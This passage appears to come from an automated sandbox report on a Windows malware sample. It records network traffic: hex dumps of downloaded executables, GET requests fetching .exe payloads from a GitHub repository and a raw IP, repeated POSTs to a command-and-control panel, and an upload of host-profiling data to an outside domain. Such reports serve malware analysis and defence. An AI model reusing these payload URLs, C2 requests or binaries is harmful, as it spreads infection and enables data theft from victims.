40 01 00 00 08 00 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 74 30 53 00 00 60 01 00 00 32 53 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 a8 0e 00 00 00 a0 54 00 00 10 00 00 00 52 54 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 15:10:41 GMTContent-Type: application/octet-streamContent-Length: 1880576Last-Modified: Wed, 18 Dec 2024 18:02:50 GMTConnection: keep-aliveETag: "67630e4a-1cb200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6e 75 7a 76 6c 68 65 00 30 1a 00 00 f0 2f 00 00 2e 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 7a 75 74 74 61 6e 78 00 10 00 00 00 20 4a 00 00 04 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 90 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 15:10:49 GMTContent-Type: application/octet-streamContent-Length: 4440064Last-Modified: Thu, 19 Dec 2024 15:07:51 GMTConnection: keep-aliveETag: "676436c7-43c000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9f 99 62 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 44 49 00 00 24 6c 00 00 32 00 00 00 c0 bc 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 bc 00 00 04 00 00 46 ba 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 69 00 73 00 00 00 00 80 69 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc a8 bc 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c a8 bc 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 69 00 00 10 00 00 00 48 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 80 69 00 00 02 00 00 00 58 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 69 00 00 02 00 00 00 5a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 37 00 00 a0 69 00 00 02 00 00 00 5c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 7a 75 74 7a 69 65 6b 00 40 1b 00 00 70 a1 00 00 3c 1b 00 00 5e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 63 66 6f 72 61 79 73 00 10 00 00 00 b0 bc 00 00 04 00 00 00 9a 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 bc 00 00 22 00 00 00 9e 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 15:11:02 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 15:11:16 GMTContent-Type: application/octet-streamContent-Length: 2010112Last-Modified: Thu, 19 Dec 2024 15:07:40 GMTConnection: keep-aliveETag: "676436bc-1eac00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 b0 4c 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4c 00 00 04 00 00 dc 8a 1f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 7a 6e 6e 71 75 6c 68 00 30 1a 00 00 70 32 00 00 2e 1a 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 74 63 74 65 6f 6f 67 00 10 00 00 00 a0 4c 00 00 04 00 00 00 86 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4c 00 00 22 00 00 00 8a 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 15:11:24 GMTContent-Type: application/octet-streamContent-Length: 21504Last-Modified: Wed, 18 Dec 2024 18:13:28 GMTConnection: keep-aliveETag: "676310c8-5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 6d 3b c0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 3a 69 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e6 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 54 68 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 49 00 00 00 20 00 00 00 4a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 9c 05 00 00 00 80 00 00 00 06 00 00 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 69 00 00 00 00 00 00 48 00 00 00 02 00 05 00 e4 36 00 00 70 31 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 3c 00 00 04 06 02 7d 3d 00 00 04 06 15 7d 3b 00 00 04 06 7c 3c 00 00 04 12 00 28 01 00 00 2b 06 7c 3c 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 63 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 a9 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 2c 00 00 06 0a 06 28 16 00 00 0a 7d 15 00 00 04 06 02 7d 16 00 00 04 06 15 7d 14 00 00 04 06 7c 15 00 00 04 12 00 28 02 00 00 2b 06 7c 15 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 cf 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16

Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /k04ael HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/6151862750/NN9Dd7c.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017666001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/wicked/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017675001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/1293295511/ga70pjP.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 38 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017680001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 38 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017682001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017683001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /hLfzXsaqNtoEGyaUtOMJ1734514745 HTTP/1.1Host: home.fivetk5vt.topAccept: /Content-Type: application/jsonContent-Length: 197924Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 32 31 30 36 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 30 20 7d 2c 20 7b 